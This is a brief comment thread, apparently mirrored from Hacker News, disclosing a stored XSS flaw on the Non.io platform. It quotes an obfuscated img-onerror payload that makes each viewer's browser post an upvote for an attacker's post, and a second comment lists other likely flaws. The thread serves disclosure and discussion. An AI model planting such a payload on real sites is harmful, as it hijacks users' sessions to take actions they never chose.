News for hackers. Stuff that matters.

A comment on Show HN: Non.io, a Reddit-like platform Ive been working on for the last 4 years. Parent comment

Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by AntonyGarand on Tuesday June 13, 2023 @09:54AM (#36310267)
Yes, the site is vulnerable to XSS, couple of interesting payloads on there so far

The current top post uses this XSS to have users upvote it:

<img src="a" onerror="soci.postData(String.fromCharCode(112,111,115,116,116,97,103,47,97,100,100,45,118,111,116,101),{post:String.fromCharCode(120),tag:String.fromCharCode(120)})">

Which sends a POST request to `posttag/add-vote` for the post labeled `x`

[ Parent | on HN ]
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by lyu07282 on Tuesday June 13, 2023 @11:25AM (#36311639)
I suppose that makes sense if you get payed for upvotes, stored xss is probably just the most low hanging fruit, if they messed that up I'd expect everything from csrf, clickjacking, sqli and more, everyone has the incentive to look and exploit. They should probably get a thorough white box review.
[ Parent | on HN ]